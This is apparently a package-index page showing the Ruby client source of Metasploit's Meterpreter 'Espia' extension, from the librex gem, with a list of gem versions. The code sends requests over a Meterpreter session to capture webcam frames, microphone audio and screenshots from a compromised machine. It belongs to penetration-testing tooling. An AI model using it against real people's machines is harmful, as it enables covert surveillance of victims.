Sha256: f16d624c97b1a521aff7f893e84da522a47b9e234097df4d07f014ed2e3d126f

Contents?: true

Size: 1.08 KB

Versions: 43

Compression:

Stored size: 1.08 KB

Contents

#!/usr/bin/env ruby

require 'rex/post/meterpreter/extensions/espia/tlv'

module Rex
module Post
module Meterpreter
module Extensions
module Espia

###
#
# This meterpreter extensions interface that is capable
# grab webcam frame and recor mic audio
#
###
class Espia < Extension


	def initialize(client)
		super(client, 'espia')

		client.register_extension_aliases(
			[
				{ 
					'name' => 'espia',
					'ext'  => self
				},
			])
	end

	def espia_video_get_dev_image()
		request = Packet.create_request('espia_video_get_dev_image')
		response = client.send_request(request)
		
		return true
	end
	
	def espia_audio_get_dev_audio(rsecs)
		request = Packet.create_request('espia_audio_get_dev_audio')
		request.add_tlv(TLV_TYPE_DEV_RECTIME, rsecs)
		response = client.send_request(request)
	
		return true
	end
	
	def espia_image_get_dev_screen
		request  = Packet.create_request( 'espia_image_get_dev_screen' )    
		response = client.send_request( request )
		if( response.result == 0 )
			return response.get_tlv_value( TLV_TYPE_DEV_SCREEN )
		end
		return nil
	end

end

end; end; end; end; end

Version data entries

43 entries across 43 versions & 1 rubygems

Version Path
librex-0.0.65 lib/rex/post/meterpreter/extensions/espia/espia.rb
librex-0.0.63 lib/rex/post/meterpreter/extensions/espia/espia.rb
librex-0.0.54 lib/rex/post/meterpreter/extensions/espia/espia.rb
librex-0.0.53 lib/rex/post/meterpreter/extensions/espia/espia.rb
librex-0.0.52 lib/rex/post/meterpreter/extensions/espia/espia.rb
librex-0.0.51 lib/rex/post/meterpreter/extensions/espia/espia.rb
librex-0.0.50 lib/rex/post/meterpreter/extensions/espia/espia.rb
librex-0.0.49 lib/rex/post/meterpreter/extensions/espia/espia.rb
librex-0.0.48 lib/rex/post/meterpreter/extensions/espia/espia.rb
librex-0.0.47 lib/rex/post/meterpreter/extensions/espia/espia.rb
librex-0.0.46 lib/rex/post/meterpreter/extensions/espia/espia.rb
librex-0.0.44 lib/rex/post/meterpreter/extensions/espia/espia.rb
librex-0.0.43 lib/rex/post/meterpreter/extensions/espia/espia.rb
librex-0.0.42 lib/rex/post/meterpreter/extensions/espia/espia.rb
librex-0.0.41 lib/rex/post/meterpreter/extensions/espia/espia.rb
librex-0.0.40 lib/rex/post/meterpreter/extensions/espia/espia.rb
librex-0.0.39 lib/rex/post/meterpreter/extensions/espia/espia.rb
librex-0.0.38 lib/rex/post/meterpreter/extensions/espia/espia.rb
librex-0.0.37 lib/rex/post/meterpreter/extensions/espia/espia.rb
librex-0.0.36 lib/rex/post/meterpreter/extensions/espia/espia.rb